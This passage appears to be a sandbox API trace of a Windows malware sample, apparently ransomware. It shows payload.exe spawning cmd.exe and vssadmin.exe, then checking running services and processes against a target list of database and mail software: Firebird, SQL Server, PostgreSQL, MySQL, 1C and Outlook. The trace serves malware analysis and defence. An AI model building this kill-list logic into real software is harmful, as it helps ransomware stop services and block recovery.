dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.338] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.338] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.338] lstrlenW (lpString="taskhost.exe") returned 12 [0040.338] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0040.339] lstrlenW (lpString="payload.exe") returned 11 [0040.339] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.339] lstrlenW (lpString="cmd.exe") returned 7 [0040.339] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.340] lstrlenW (lpString="conhost.exe") returned 11 [0040.340] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.340] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.340] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0040.340] lstrlenW (lpString="VSSVC.exe") returned 9 [0040.340] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0040.341] CloseHandle (hObject=0x1a0) returned 1 [0040.341] Sleep (dwMilliseconds=0x1f4) [0041.091] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8fffc8 [0041.091] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0041.091] GetLastError () returned 0xea [0041.091] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x123e) returned 0x395d750 [0041.091] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x395d750, cbBufSize=0x123e, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x395d750, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0041.092] CloseServiceHandle (hSCObject=0x8fffc8) returned 1 [0041.092] lstrlenW (lpString="Appinfo") returned 7 [0041.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.092] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.092] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.092] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.092] lstrlenW (lpString="AudioSrv") returned 8 [0041.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.092] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.092] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.092] lstrlenW (lpString="BFE") returned 3 [0041.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.092] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.092] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.092] lstrlenW (lpString="CryptSvc") returned 8 [0041.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.092] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.092] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.093] lstrlenW (lpString="CscService") returned 10 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.093] lstrlenW (lpString="DcomLaunch") returned 10 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.093] lstrlenW (lpString="Dhcp") returned 4 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.093] lstrlenW (lpString="Dnscache") returned 8 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.093] lstrlenW (lpString="DPS") returned 3 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.093] lstrlenW (lpString="eventlog") returned 8 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.093] lstrlenW (lpString="EventSystem") returned 11 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.093] lstrlenW (lpString="gpsvc") returned 5 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.093] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.093] lstrlenW (lpString="iphlpsvc") returned 8 [0041.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.093] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.094] lstrlenW (lpString="LanmanServer") returned 12 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.094] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.094] lstrlenW (lpString="lmhosts") returned 7 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.094] lstrlenW (lpString="MMCSS") returned 5 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.094] lstrlenW (lpString="MpsSvc") returned 6 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.094] lstrlenW (lpString="Netman") returned 6 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.094] lstrlenW (lpString="netprofm") returned 8 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.094] lstrlenW (lpString="NlaSvc") returned 6 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.094] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.094] lstrlenW (lpString="nsi") returned 3 [0041.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.094] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.095] lstrlenW (lpString="PcaSvc") returned 6 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.095] lstrlenW (lpString="PlugPlay") returned 8 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.095] lstrlenW (lpString="Power") returned 5 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.095] lstrlenW (lpString="ProfSvc") returned 7 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.095] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.095] lstrlenW (lpString="RpcSs") returned 5 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.095] lstrlenW (lpString="SamSs") returned 5 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.095] lstrlenW (lpString="Schedule") returned 8 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.095] lstrlenW (lpString="SENS") returned 4 [0041.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.096] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.096] lstrlenW (lpString="Spooler") returned 7 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.096] lstrlenW (lpString="SysMain") returned 7 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.096] lstrlenW (lpString="Themes") returned 6 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.096] lstrlenW (lpString="TrkWks") returned 6 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.096] lstrlenW (lpString="UxSms") returned 5 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.096] lstrlenW (lpString="VSS") returned 3 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0041.096] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.096] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.096] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.096] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.097] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.097] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.097] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.097] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.097] lstrlenW (lpString="Winmgmt") returned 7 [0041.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.097] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.097] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.097] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.097] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.097] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.097] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x395d750 | out: hHeap=0x880000) returned 1 [0041.097] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0041.100] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.100] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.101] lstrlenW (lpString="System") returned 6 [0041.101] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.101] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.101] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.101] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.101] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.101] lstrlenW (lpString="smss.exe") returned 8 [0041.101] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.101] lstrcmpiW (lpString1="1cv77.exe", 